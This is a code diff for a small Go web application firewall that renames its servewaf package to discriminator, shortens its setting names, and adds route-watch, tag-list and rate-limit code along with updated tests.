@@ -57,10 +157,10 @@ func TestObserveModeForwardsWhatEnforceModeRefuses(t *testing.T) {
s.get(fromDE, http.StatusOK, requestlog.ActionForward) s.get(fromDE, http.StatusOK, requestlog.ActionForward)
for _, sent := range []struct{ from, refusal string }{ for _, sent := range []struct{ from, refusal string }{
{denied, requestlog.ActionDenied}, {denied, requestlog.ActionClientDenied},
{banned, requestlog.ActionBanned}, {banned, requestlog.ActionTemporarilyBanned},
{fromKP, requestlog.ActionCountryDenied}, {fromKP, requestlog.ActionClientDenied},
{fromDE, requestlog.ActionRateLimited}, {fromDE, requestlog.ActionClientIsRateLimited},
} { } {
if !tc.observe { if !tc.observe {
line := s.get(sent.from, http.StatusForbidden, sent.refusal) line := s.get(sent.from, http.StatusForbidden, sent.refusal)
@@ -98,7 +198,7 @@ func TestObserveModeMakesNoBanAndKeepsTheBansItHas(t *testing.T) {
for range 2 { for range 2 {
line := s.get(client, http.StatusOK, requestlog.ActionForward) line := s.get(client, http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionRateLimited) wantWouldAction(t, line, requestlog.ActionClientIsRateLimited)
if line.LimitHit != minute || line.Offence != requestlog.OffenceLimit || if line.LimitHit != minute || line.Offence != requestlog.OffenceLimit ||
line.BanExpires != "" { line.BanExpires != "" {
@@ -111,7 +211,7 @@ func TestObserveModeMakesNoBanAndKeepsTheBansItHas(t *testing.T) {
// The ban read from bans.json refuses nothing, and so counts no // The ban read from bans.json refuses nothing, and so counts no
// refusal in its notes, but is kept. // refusal in its notes, but is kept.
line := s.get(otherClient, http.StatusOK, requestlog.ActionForward) line := s.get(otherClient, http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionBanned) wantWouldAction(t, line, requestlog.ActionTemporarilyBanned)
if line.BanExpires != requestlog.FormatTime(kept.Expires) { if line.BanExpires != requestlog.FormatTime(kept.Expires) {
t.Errorf("log line has ban_expires %q, want %s", line.BanExpires, t.Errorf("log line has ban_expires %q, want %s", line.BanExpires,
@@ -1,7 +1,7 @@
// Package servewaf is the server the servewaf command runs. It answers rproxy's // Package discriminator is the server the discriminator command runs. It answers
// questions, takes rproxy's reports and answers its own endpoints, and writes a // rproxy's questions, takes rproxy's reports and answers its own endpoints, and
// log line for each. // writes a log line for each.
package servewaf package discriminator
import ( import (
"fmt" "fmt"
@@ -16,54 +16,56 @@ import (
"sneak.berlin/go/smallwebwaf/internal/anomaly" "sneak.berlin/go/smallwebwaf/internal/anomaly"
"sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/config" "sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
"sneak.berlin/go/smallwebwaf/internal/lookup" "sneak.berlin/go/smallwebwaf/internal/lookup"
"sneak.berlin/go/smallwebwaf/internal/metrics" "sneak.berlin/go/smallwebwaf/internal/metrics"
"sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/reputation" "sneak.berlin/go/smallwebwaf/internal/reputation"
"sneak.berlin/go/smallwebwaf/internal/routewatch"
"sneak.berlin/go/smallwebwaf/internal/rules" "sneak.berlin/go/smallwebwaf/internal/rules"
"sneak.berlin/go/smallwebwaf/internal/waf"
) )
// adminPrefix starts the path of each of servewaf's own endpoints. The app never // ownEndpointPrefix starts the path of each of discriminator's own endpoints. The app
// sees a path under it. // never sees a path under it.
const adminPrefix = "/_smallwebwaf/" const ownEndpointPrefix = "/_sww/"
// HealthPath is the health endpoint of servewaf and of rproxy, which the // HealthPath is the health endpoint of discriminator and of rproxy, which the
// container's health check asks. // container's health check asks.
const HealthPath = "/_smallwebwaf/healthz" const HealthPath = "/_sww/healthz"
// MetricsPath is where the metrics are, for a request that carries // MetricsPath is where the metrics are, for a request that carries
// SWWAF_METRICS_TOKEN. // SWW_METRICS_TOKEN.
const MetricsPath = "/_smallwebwaf/metrics" const MetricsPath = "/_sww/metrics"
// BansPath is where an admin lists and adds bans, and, followed by / and // BansPath is where an admin lists and adds bans, and, followed by / and
// a client's address, lifts them, with SWWAF_ADMIN_TOKEN. // a client's address, lifts them, with SWW_ADMIN_TOKEN.
const BansPath = "/_smallwebwaf/bans" const BansPath = "/_sww/bans"
// ClientsPath is where an admin asks what servewaf knows of a client, by the // ClientsPath is where an admin asks what discriminator knows of a client, by
// client's address after it, with SWWAF_ADMIN_TOKEN. // the client's address after it, with SWW_ADMIN_TOKEN.
const ClientsPath = "/_smallwebwaf/clients/" const ClientsPath = "/_sww/clients/"
// Params are what New needs. // Params are what New needs.
type Params struct { type Params struct {
Config *config.Config Config *config.Config
// RequestLog receives two JSON lines per question, one at its decision and // RequestLog receives two JSON lines per question, one at its decision and
// one when its report comes, and one per request to servewaf's own endpoints. // one when its report comes, and one per request to discriminator's own
// endpoints.
RequestLog io.Writer RequestLog io.Writer
// ProcessLog receives the process's own messages. // ProcessLog receives the process's own messages.
ProcessLog *slog.Logger ProcessLog *slog.Logger
// GeoJSURL is where clients' AS numbers and countries are looked up // GeoJSURL is where clients' AS numbers and countries are looked up
// while SWWAF_LOOKUP_SOURCE is geojs, normally lookup.URL. // while SWW_LOOKUP_SOURCE is geojs, normally lookup.URL.
GeoJSURL string GeoJSURL string
// AbuseIPDBURL is where clients are checked with AbuseIPDB while // AbuseIPDBURL is where clients are checked with AbuseIPDB while
// SWWAF_ABUSEIPDB_KEY is set, normally reputation.AbuseIPDBURL. // SWW_ABUSEIPDB_KEY is set, normally reputation.AbuseIPDBURL.
AbuseIPDBURL string AbuseIPDBURL string
// LookupFile is the lookup database they are looked up in while // LookupFile is the lookup database they are looked up in while
// SWWAF_LOOKUP_SOURCE is file, and nil otherwise. // SWW_LOOKUP_SOURCE is file, and nil otherwise.
LookupFile *lookup.File LookupFile *lookup.File
// CoreRuleSet is what NewCoreRuleSet returns: what inspects requests // CoreRuleSet is what NewCoreRuleSet returns: what inspects requests
// while SWWAF_WAF_MODE is not off, and nil while it is. // while SWW_WAF_MODE is not off, and nil while it is.
CoreRuleSet *waf.CoreRuleSet CoreRuleSet *coreruleset.CoreRuleSet
// Now tells the time by which requests are counted for the rate // Now tells the time by which requests are counted for the rate
// limits, bans are made and run out, and GeoJS's answers are kept, // limits, bans are made and run out, and GeoJS's answers are kept,
// normally time.Now in UTC, the time the state files give. // normally time.Now in UTC, the time the state files give.
@@ -71,20 +73,21 @@ type Params struct {
// Rules are the rule files' rules, which each request is checked // Rules are the rule files' rules, which each request is checked
// against. // against.
Rules *rules.Files Rules *rules.Files
// Alerts receive the alert for each ban servewaf makes or makes // Alerts receive the alert for each ban discriminator makes or makes
// permanent, for each count over an anomaly threshold, for each request // permanent, for each count over an anomaly threshold, for each request
// whose client a blocklist, the CrowdSec decision list, a DNSBL zone or // whose client a blocklist, the CrowdSec decision list, a DNSBL zone or
// AbuseIPDB lists, for each request the Core Rule Set scores at or over // AbuseIPDB lists, for each request the Core Rule Set scores at or over
// SWWAF_WAF_ANOMALY_THRESHOLD, and for GeoJS failing, a fetch of a list // SWW_WAF_ANOMALY_THRESHOLD, and for GeoJS failing, a fetch of a list
// failing, a query to a DNSBL zone or a check with AbuseIPDB failing, // failing, a query to a DNSBL zone or a check with AbuseIPDB failing,
// or the day's AbuseIPDB checks used up. // or the day's AbuseIPDB checks used up.
Alerts *alerts.Queue Alerts *alerts.Queue
} }
// Server is the server servewaf runs, with the parts whose state the state // Server is the server discriminator runs, with the parts whose state the state
// files keep, the lookup database, nil unless SWWAF_LOOKUP_SOURCE is file, the // files keep, the lookup database, nil unless SWW_LOOKUP_SOURCE is file, the
// lists fetched from URLs, which its Run fetches, the DNSBL zones' verdicts, // lists fetched from URLs, which its Run fetches, the DNSBL zones' verdicts,
// AbuseIPDB's scores and checks spent, and the metrics. // AbuseIPDB's scores and checks spent, and the metrics. RouteWatch, nil while
// SWW_ROUTEWATCH_URL is unset, keeps its answers in memory only.
type Server struct { type Server struct {
*http.Server *http.Server
@@ -96,6 +99,7 @@ type Server struct {
Lists *reputation.Lists Lists *reputation.Lists
DNSBL *reputation.DNSBL DNSBL *reputation.DNSBL
AbuseIPDB *reputation.AbuseIPDB AbuseIPDB *reputation.AbuseIPDB
RouteWatch *routewatch.Client
Metrics *metrics.Metrics Metrics *metrics.Metrics
} }
@@ -125,7 +129,7 @@ func newHandler(params Params) *handler {
BytesPerHour: params.Config.BytesLimitPerHour, BytesPerHour: params.Config.BytesLimitPerHour,
BytesPerDay: params.Config.BytesLimitPerDay, BytesPerDay: params.Config.BytesLimitPerDay,
}, params.Config.MaxTrackedClients), }, params.Config.MaxTrackedClients),
ledger: bans.New(bans.Rules{ ledger: bans.New(bans.Params{
LimitBanDuration: params.Config.LimitBanDuration, LimitBanDuration: params.Config.LimitBanDuration,
LimitBanRepeatWindow: params.Config.LimitBanRepeatWindow, LimitBanRepeatWindow: params.Config.LimitBanRepeatWindow,
MaxBanDuration: params.Config.MaxBanDuration, MaxBanDuration: params.Config.MaxBanDuration,
@@ -151,14 +155,21 @@ func newHandler(params Params) *handler {
coreRuleSet: params.CoreRuleSet, coreRuleSet: params.CoreRuleSet,
alerts: params.Alerts, alerts: params.Alerts,
} }
if params.Config.RouteWatchURL != "" {
h.routeWatch = routewatch.New(routewatch.Params{
URL: params.Config.RouteWatchURL, Now: params.Now, ProcessLog: params.ProcessLog,
})
}
h.geojs = lookup.New(lookup.Params{ h.geojs = lookup.New(lookup.Params{
URL: params.GeoJSURL, URL: params.GeoJSURL,
Timeout: params.Config.LookupTimeout, Timeout: params.Config.LookupTimeout,
// The country lists, the headers and the biased thresholds act on // The country list, the headers, the tag settings that name an asn=
// the answer before the request goes on. // or country= tag and the biased thresholds act on the answer before
Wait: len(params.Config.DeniedCountries) > 0 || // the request goes on.
len(params.Config.ExclusivelyAllowedCountries) > 0 || Wait: len(params.Config.ExclusivelyAllowedCountries) > 0 ||
params.Config.AddLookupHeaders || biasedThresholdsSet(params.Config), params.Config.AddLookupHeaders || params.Config.TagsNeedLookup() ||
biasedThresholdsSet(params.Config),
Answered: h.addLookup, Answered: h.addLookup,
Now: params.Now, Now: params.Now,
ProcessLog: params.ProcessLog, ProcessLog: params.ProcessLog,
@@ -174,7 +185,7 @@ func newHandler(params Params) *handler {
// newReputation returns the lists fetched from URLs, the DNSBL zones' // newReputation returns the lists fetched from URLs, the DNSBL zones'
// verdicts and AbuseIPDB's scores, as the settings in params name them, // verdicts and AbuseIPDB's scores, as the settings in params name them,
// with none fetched, asked for or checked yet, and adds their metrics to // with none fetched, asked for or checked yet, and adds their metrics to
// m, AbuseIPDB's while SWWAF_ABUSEIPDB_KEY is set. // m, AbuseIPDB's while SWW_ABUSEIPDB_KEY is set.
func newReputation( func newReputation(
params Params, m *metrics.Metrics, params Params, m *metrics.Metrics,
) (*reputation.Lists, *reputation.DNSBL, *reputation.AbuseIPDB) { ) (*reputation.Lists, *reputation.DNSBL, *reputation.AbuseIPDB) {
@@ -182,6 +193,7 @@ func newReputation(
lists := reputation.New(reputation.Params{ lists := reputation.New(reputation.Params{
BlocklistURLs: cfg.BlocklistURLs, Refresh: cfg.BlocklistRefresh, BlocklistURLs: cfg.BlocklistURLs, Refresh: cfg.BlocklistRefresh,
ASNLimitPercentURL: cfg.ASNLimitPercentURL, ASNLimitPercentURL: cfg.ASNLimitPercentURL,
TagLists: cfg.TagLists,
CrowdSecDecisionsURL: cfg.CrowdSecDecisionsURL, CrowdSecKey: cfg.CrowdSecKey, CrowdSecDecisionsURL: cfg.CrowdSecDecisionsURL, CrowdSecKey: cfg.CrowdSecKey,
Now: params.Now, ProcessLog: params.ProcessLog, Alerts: params.Alerts, Now: params.Now, ProcessLog: params.ProcessLog, Alerts: params.Alerts,
}) })
@@ -206,28 +218,27 @@ func newReputation(
return lists, dnsbl, abuseIPDB return lists, dnsbl, abuseIPDB
} }
// NewCoreRuleSet returns the Core Rule Set at SWWAF_WAF_PARANOIA_LEVEL, // NewCoreRuleSet returns the Core Rule Set at SWW_WAF_PARANOIA_LEVEL,
// without the rules SWWAF_WAF_DISABLED_RULES switches off, reading bodies // without the rules SWW_WAF_DISABLED_RULES switches off, reading bodies
// up to SWWAF_WAF_BODY_LIMIT, with the exclusions in // up to SWW_WAF_BODY_LIMIT, with the exclusions in
// SWWAF_CORE_RULE_SET_EXCLUSIONS_FILE, or nil while SWWAF_WAF_MODE is off. It // SWW_CORE_RULE_SET_EXCLUSIONS_FILE, or nil while SWW_WAF_MODE is off. It
// reads at most QuestionBodyMaxBytes less one byte: a question's body of // reads at most QuestionBodyMaxBytes less one byte: a question's body of
// QuestionBodyMaxBytes may be cut short, and the Core Rule Set does not read a // QuestionBodyMaxBytes may be cut short, and the Core Rule Set does not read a
// JSON or XML body over its limit. An exclusions file that cannot be read, does // JSON or XML body over its limit. An exclusions file that coreruleset.New refuses is
// not parse or names an id of smallwebwaf's own rules is an error in every // an error in every mode. While the mode is off, a set file is loaded with the
// mode. While the mode is off, a set file is loaded with the Core Rule Set only // Core Rule Set only to check it.
// to check it. func NewCoreRuleSet(cfg *config.Config) (*coreruleset.CoreRuleSet, error) {
func NewCoreRuleSet(cfg *config.Config) (*waf.CoreRuleSet, error) {
if cfg.WAFMode == config.WAFModeOff && cfg.CoreRuleSetExclusionsFile == "" { if cfg.WAFMode == config.WAFModeOff && cfg.CoreRuleSetExclusionsFile == "" {
return nil, nil //nolint:nilnil // off is no Core Rule Set, and no error return nil, nil //nolint:nilnil // off is no Core Rule Set, and no error
} }
coreRuleSet, err := waf.New(waf.Params{ coreRuleSet, err := coreruleset.New(coreruleset.Params{
ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules, ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules,
BodyLimit: min(cfg.WAFBodyLimit, QuestionBodyMaxBytes-1), BodyLimit: min(cfg.WAFBodyLimit, QuestionBodyMaxBytes-1),
ExclusionsFile: cfg.CoreRuleSetExclusionsFile, ExclusionsFile: cfg.CoreRuleSetExclusionsFile,
}) })
if err != nil { if err != nil {
return nil, fmt.Errorf("SWWAF_CORE_RULE_SET_EXCLUSIONS_FILE: %w", err) return nil, fmt.Errorf("SWW_CORE_RULE_SET_EXCLUSIONS_FILE: %w", err)
} }
if cfg.WAFMode == config.WAFModeOff { if cfg.WAFMode == config.WAFModeOff {
@@ -237,7 +248,7 @@ func NewCoreRuleSet(cfg *config.Config) (*waf.CoreRuleSet, error) {
return coreRuleSet, nil return coreRuleSet, nil
} }
// handler is servewaf's handler. It holds what every request shares; what // handler is discriminator's handler. It holds what every request shares; what
// belongs to one request is in a request. // belongs to one request is in a request.
type handler struct { type handler struct {
config *config.Config config *config.Config
@@ -253,8 +264,9 @@ type handler struct {
lists *reputation.Lists lists *reputation.Lists
dnsbl *reputation.DNSBL dnsbl *reputation.DNSBL
abuseIPDB *reputation.AbuseIPDB abuseIPDB *reputation.AbuseIPDB
routeWatch *routewatch.Client
rules *rules.Files rules *rules.Files
coreRuleSet *waf.CoreRuleSet coreRuleSet *coreruleset.CoreRuleSet
alerts *alerts.Queue alerts *alerts.Queue
// awaitingReport holds the decision on each answered question by its id // awaitingReport holds the decision on each answered question by its id
// until its report comes, and nil for a question still being handled. // until its report comes, and nil for a question still being handled.
@@ -1,4 +1,4 @@
package servewaf_test package discriminator_test
import ( import (
"bufio" "bufio"
@@ -17,11 +17,11 @@ import (
"sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/config" "sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/lookup" "sneak.berlin/go/smallwebwaf/internal/lookup"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/rproxy" "sneak.berlin/go/smallwebwaf/internal/rproxy"
"sneak.berlin/go/smallwebwaf/internal/rules" "sneak.berlin/go/smallwebwaf/internal/rules"
"sneak.berlin/go/smallwebwaf/internal/servewaf"
) )
const ( const (
@@ -55,33 +55,35 @@ const (
// The settings the tests set. // The settings the tests set.
const ( const (
mode = "SWWAF_MODE" mode = "SWW_MODE"
trustedProxies = "SWRP_TRUSTED_PROXIES" trustedProxies = "SWRP_TRUSTED_PROXIES"
ipv6GroupPrefix = "SWWAF_IPV6_GROUP_PREFIX" ipv6GroupPrefix = "SWW_IPV6_GROUP_PREFIX"
maxTrackedClients = "SWWAF_MAX_TRACKED_CLIENTS" maxTrackedClients = "SWW_MAX_TRACKED_CLIENTS"
allowNets = "SWWAF_ALLOW_NETS" allowNets = "SWW_ALLOW_NETS"
rateLimitExemptNets = "SWWAF_RATE_LIMIT_EXEMPT_NETS" rateLimitExemptNets = "SWW_RATE_LIMIT_EXEMPT_NETS"
denyNets = "SWWAF_DENY_NETS" denyNets = "SWW_DENY_NETS"
rateLimitPerMinute = "SWWAF_RATE_LIMIT_PER_MINUTE" rateLimitPerMinute = "SWW_RATE_LIMIT_PER_MINUTE"
rateLimitPerDay = "SWWAF_RATE_LIMIT_PER_DAY" rateLimitPerDay = "SWW_RATE_LIMIT_PER_DAY"
rateLimitExemptPaths = "SWWAF_RATE_LIMIT_EXEMPT_PATHS" rateLimitExemptPaths = "SWW_RATE_LIMIT_EXEMPT_PATHS"
lookupSource = "SWWAF_LOOKUP_SOURCE" lookupSource = "SWW_LOOKUP_SOURCE"
lookupDBPath = "SWWAF_LOOKUP_DB_PATH" lookupDBPath = "SWW_LOOKUP_DB_PATH"
lookupTimeout = "SWWAF_LOOKUP_TIMEOUT" lookupTimeout = "SWW_LOOKUP_TIMEOUT"
addLookupHeaders = "SWWAF_ADD_LOOKUP_HEADERS" addLookupHeaders = "SWW_ADD_LOOKUP_HEADERS"
deniedCountries = "SWWAF_DENIED_COUNTRIES" tagDeny = "SWW_TAG_DENY"
allowedCountries = "SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES" // denyKP is the value of SWW_TAG_DENY that refuses fromKP's country.
banResponse = "SWWAF_BAN_RESPONSE" denyKP = "country=KP"
limitBanDuration = "SWWAF_LIMIT_BAN_DURATION" allowedCountries = "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES"
limitBanRepeatWindow = "SWWAF_LIMIT_BAN_REPEAT_WINDOW" banResponse = "SWW_BAN_RESPONSE"
maxBanDuration = "SWWAF_MAX_BAN_DURATION" limitBanDuration = "SWW_LIMIT_BAN_DURATION"
maxBans = "SWWAF_MAX_BANS" limitBanRepeatWindow = "SWW_LIMIT_BAN_REPEAT_WINDOW"
banScopeV4Prefix = "SWWAF_BAN_SCOPE_V4_PREFIX" maxBanDuration = "SWW_MAX_BAN_DURATION"
instanceName = "SWWAF_INSTANCE_NAME" maxBans = "SWW_MAX_BANS"
logRequestHeaders = "SWWAF_LOG_REQUEST_HEADERS" banScopeV4Prefix = "SWW_BAN_SCOPE_V4_PREFIX"
attackBanDuration = "SWWAF_ATTACK_BAN_DURATION" instanceName = "SWW_INSTANCE_NAME"
rulesDir = "SWWAF_RULES_DIR" logRequestHeaders = "SWW_LOG_REQUEST_HEADERS"
wafMode = "SWWAF_WAF_MODE" attackBanDuration = "SWW_ATTACK_BAN_DURATION"
rulesDir = "SWW_RULES_DIR"
wafMode = "SWW_WAF_MODE"
) )
// off is the value that switches a setting off. // off is the value that switches a setting off.
@@ -90,13 +92,13 @@ const off = "off"
// on is the value that switches a setting that takes true or false on. // on is the value that switches a setting that takes true or false on.
const on = "true" const on = "true"
// output collects what smallwebwaf writes on stdout. // output collects what sww writes on stdout.
type output struct { type output struct {
mu sync.Mutex mu sync.Mutex
buf bytes.Buffer buf bytes.Buffer
} }
// Write adds lines smallwebwaf writes. // Write adds lines sww writes.
func (o *output) Write(p []byte) (int, error) { func (o *output) Write(p []byte) (int, error) {
o.mu.Lock() o.mu.Lock()
defer o.mu.Unlock() defer o.mu.Unlock()
@@ -175,9 +177,9 @@ func (o *output) requestLine(t *testing.T) logLine {
return o.requestLines(t, 1)[0] return o.requestLines(t, 1)[0]
} }
// endedLines waits for count requests that went through rproxy, or to servewaf's // endedLines waits for count requests that went through rproxy, or to discriminator's
// own endpoints, to have ended, and returns the last log line of each, in the // own endpoints, to have ended, and returns the last log line of each, in the
// order servewaf took them. A question's last line is the one its report writes. // order discriminator took them. A question's last line is the one its report writes.
func (o *output) endedLines(t *testing.T, count int) []logLine { func (o *output) endedLines(t *testing.T, count int) []logLine {
t.Helper() t.Helper()
@@ -187,7 +189,7 @@ func (o *output) endedLines(t *testing.T, count int) []logLine {
ended := len(found) >= count ended := len(found) >= count
for _, line := range found[:min(count, len(found))] { for _, line := range found[:min(count, len(found))] {
if line.ServeWAFLine == requestlog.ServeWAFLineDecision { if line.DiscriminatorLine == requestlog.DiscriminatorLineDecision {
ended = false ended = false
} }
} }
@@ -205,7 +207,7 @@ func (o *output) endedLines(t *testing.T, count int) []logLine {
} }
// lastLines returns the last request log line written so far of each request, // lastLines returns the last request log line written so far of each request,
// in the order servewaf took them. // in the order discriminator took them.
func (o *output) lastLines(t *testing.T) []logLine { func (o *output) lastLines(t *testing.T) []logLine {
t.Helper() t.Helper()
@@ -271,9 +273,9 @@ func startApp(t *testing.T, app http.HandlerFunc) *httptest.Server {
return server return server
} }
// startProxy starts servewaf, and rproxy in front of the app at appURL, each with // startProxy starts discriminator, and rproxy in front of the app at appURL, each with
// the settings in env on top of the defaults, and returns where rproxy listens // the settings in env on top of the defaults, and returns where rproxy listens
// and what servewaf writes. // and what discriminator writes.
func startProxy(t *testing.T, appURL string, env map[string]string) (string, *output) { func startProxy(t *testing.T, appURL string, env map[string]string) (string, *output) {
t.Helper() t.Helper()
@@ -293,14 +295,14 @@ func startProxyWithGeoJS(
} }
// startProxyWithClock is startProxyWithGeoJS with requests counted and // startProxyWithClock is startProxyWithGeoJS with requests counted and
// bans made by the time now tells, and returns servewaf's server as well, whose // bans made by the time now tells, and returns discriminator's server as well, whose
// Addr is where servewaf listens. Unless env sets SWWAF_RULES_DIR, it is an empty // Addr is where discriminator listens. Unless env sets SWW_RULES_DIR, it is an empty
// directory, of no rules, and unless it sets SWWAF_INSTANCE_NAME, that is app, // directory, of no rules, and unless it sets SWW_INSTANCE_NAME, that is app,
// the label instance of every metric. // the label instance of every metric.
func startProxyWithClock( func startProxyWithClock(
t *testing.T, appURL, geojsURL string, now func() time.Time, t *testing.T, appURL, geojsURL string, now func() time.Time,
env map[string]string, env map[string]string,
) (string, *output, *servewaf.Server) { ) (string, *output, *discriminator.Server) {
t.Helper() t.Helper()
addr, out, server, _ := startProxyWithAlerts(t, appURL, geojsURL, now, env) addr, out, server, _ := startProxyWithAlerts(t, appURL, geojsURL, now, env)
@@ -309,14 +311,14 @@ func startProxyWithClock(
} }
// startProxyWithAlerts is startProxyWithClock, and returns the queue of // startProxyWithAlerts is startProxyWithClock, and returns the queue of
// the alerts servewaf raises as well, as newServeWAF makes them. // the alerts discriminator raises as well, as newDiscriminator makes them.
func startProxyWithAlerts( func startProxyWithAlerts(
t *testing.T, appURL, geojsURL string, now func() time.Time, t *testing.T, appURL, geojsURL string, now func() time.Time,
env map[string]string, env map[string]string,
) (string, *output, *servewaf.Server, *alerts.Queue) { ) (string, *output, *discriminator.Server, *alerts.Queue) {
t.Helper() t.Helper()
server, out, alertQueue := newServeWAF(t, geojsURL, now, env) server, out, alertQueue := newDiscriminator(t, geojsURL, now, env)
serve(t, server) serve(t, server)
return startRProxy(t, server.Addr, appURL, env), out, server, alertQueue return startRProxy(t, server.Addr, appURL, env), out, server, alertQueue
@@ -324,7 +326,7 @@ func startProxyWithAlerts(
// serve serves server on a port of its own until the test ends, and sets its // serve serves server on a port of its own until the test ends, and sets its
// Addr to where it listens. // Addr to where it listens.
func serve(t *testing.T, server *servewaf.Server) { func serve(t *testing.T, server *discriminator.Server) {
t.Helper() t.Helper()
listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0") listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
@@ -343,17 +345,17 @@ func serve(t *testing.T, server *servewaf.Server) {
}) })
} }
// startRProxy starts rproxy in front of the app at appURL, asking the servewaf // startRProxy starts rproxy in front of the app at appURL, asking the discriminator
// at serveWAFAddr, with the settings in env on top of the defaults, and returns // at discriminatorAddr, with the settings in env on top of the defaults, and returns
// where it listens. What it writes is dropped. SWRP_TIMEOUT_MS is a minute unless // where it listens. What it writes is dropped. SWRP_TIMEOUT_MS is a minute unless
// env sets it, so that on a busy host SWRP_DEFAULT_DISPOSITION does not decide. // env sets it, so that on a busy host SWRP_DEFAULT_DISPOSITION does not decide.
func startRProxy( func startRProxy(
t *testing.T, serveWAFAddr, appURL string, env map[string]string, t *testing.T, discriminatorAddr, appURL string, env map[string]string,
) string { ) string {
t.Helper() t.Helper()
settings := map[string]string{ settings := map[string]string{
"SWRP_WAF_BACKEND": "http://" + serveWAFAddr, "SWRP_WAF_BACKEND": "http://" + discriminatorAddr,
"SWRP_UPSTREAM_URL": appURL, "SWRP_UPSTREAM_URL": appURL,
"SWRP_TIMEOUT_MS": "60000", "SWRP_TIMEOUT_MS": "60000",
} }
@@ -390,28 +392,29 @@ func startRProxy(
return listener.Addr().String() return listener.Addr().String()
} }
// newServeWAF makes servewaf's server, without starting it, and returns it, what // newDiscriminator makes discriminator's server, without starting it, and
// it writes, and the queue of the alerts it raises, as the settings in env make // returns it, what it writes, and the queue of the alerts it raises, as the
// it. No alert is sent from the queue: they wait in it, for the test to look at. // settings in env make it. No alert is sent from the queue: they wait in it,
// for the test to look at.
// With no geojsURL, there is no stand-in for GeoJS to look clients up at, and // With no geojsURL, there is no stand-in for GeoJS to look clients up at, and
// SWWAF_LOOKUP_SOURCE is off unless env sets it. While it is file, the lookup // SWW_LOOKUP_SOURCE is off unless env sets it. While it is file, the lookup
// database SWWAF_LOOKUP_DB_PATH names is read. Clients are checked with AbuseIPDB // database SWW_LOOKUP_DB_PATH names is read. Clients are checked with AbuseIPDB
// at abuseIPDBURL while env sets SWWAF_ABUSEIPDB_KEY. SWWAF_WAF_MODE is off unless // at abuseIPDBURL while env sets SWW_ABUSEIPDB_KEY. SWW_WAF_MODE is off unless
// env sets it, so that only the tests of the Core Rule Set have their requests // env sets it, so that only the tests of the Core Rule Set have their requests
// inspected by it. // inspected by it.
func newServeWAF( func newDiscriminator(
t *testing.T, geojsURL string, now func() time.Time, env map[string]string, t *testing.T, geojsURL string, now func() time.Time, env map[string]string,
) (*servewaf.Server, *output, *alerts.Queue) { ) (*discriminator.Server, *output, *alerts.Queue) {
t.Helper() t.Helper()
return newServeWAFWith(t, servewaf.New, geojsURL, now, env) return newDiscriminatorWith(t, discriminator.New, geojsURL, now, env)
} }
// newServeWAFWith is newServeWAF for the server build makes. // newDiscriminatorWith is newDiscriminator for the server build makes.
func newServeWAFWith( func newDiscriminatorWith(
t *testing.T, build func(servewaf.Params) *servewaf.Server, t *testing.T, build func(discriminator.Params) *discriminator.Server,
geojsURL string, now func() time.Time, env map[string]string, geojsURL string, now func() time.Time, env map[string]string,
) (*servewaf.Server, *output, *alerts.Queue) { ) (*discriminator.Server, *output, *alerts.Queue) {
t.Helper() t.Helper()
settings := map[string]string{ settings := map[string]string{
@@ -463,12 +466,12 @@ func newServeWAFWith(
} }
} }
coreRuleSet, err := servewaf.NewCoreRuleSet(cfg) coreRuleSet, err := discriminator.NewCoreRuleSet(cfg)
if err != nil { if err != nil {
t.Fatalf("Core Rule Set: %v", err) t.Fatalf("Core Rule Set: %v", err)
} }
server := build(servewaf.Params{ server := build(discriminator.Params{
Config: cfg, Config: cfg,
RequestLog: out, RequestLog: out,
ProcessLog: processLog, ProcessLog: processLog,
@@ -513,7 +516,7 @@ func readAnswer(res *http.Response) answer {
return answer{status: res.StatusCode, header: res.Header, body: body, err: err} return answer{status: res.StatusCode, header: res.Header, body: body, err: err}
} }
// newRequest makes a request for path to addr, where rproxy or servewaf listens. // newRequest makes a request for path to addr, where rproxy or discriminator listens.
func newRequest(t *testing.T, method, addr, path string, body io.Reader) *http.Request { func newRequest(t *testing.T, method, addr, path string, body io.Reader) *http.Request {
t.Helper() t.Helper()
+69
View File
@@ -0,0 +1,69 @@
package discriminator
// The heuristic rate_limits. It reads SWW_RATE_LIMIT_EXEMPT_NETS,
// SWW_RATE_LIMIT_EXEMPT_PATHS and SWW_BAN_RESPONSE, and the rate limits and
// biased thresholds through the limiter and limitPercentages.
import (
"context"
"time"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// rateLimits counts the request for the rate limits, unless
// countedByRateLimits exempts it, by the client's limit percentages, which it
// notes for the log line with the client's counts. A request that takes the
// client over a rate limit, as its limit percentage lowers it, breaks it: it is
// refused, and bans the client. A request exempt from the rate limits is exempt
// from the byte limits too. Its figures are the window, the count and the
// limit.
type rateLimits struct{}
func (rateLimits) name() string { return "rate_limits" }
func (rateLimits) check(_ context.Context, rq *request, now time.Time) *verdict {
rq.counted = rq.countedByRateLimits()
if !rq.counted {
return nil
}
rq.rateLimitPercent, rq.bytesLimitPercent = rq.limitPercentages()
rq.line.RateLimitPercent, rq.line.RateLimitPercentSetting =
rq.rateLimitPercent.logged()
rq.line.BytesLimitPercent, rq.line.BytesLimitPercentSetting =
rq.bytesLimitPercent.logged()
counts, hit, over := rq.h.limiter.Count(rq.h.clientGroup(rq.client), now,
rq.rateLimitPercent.percent)
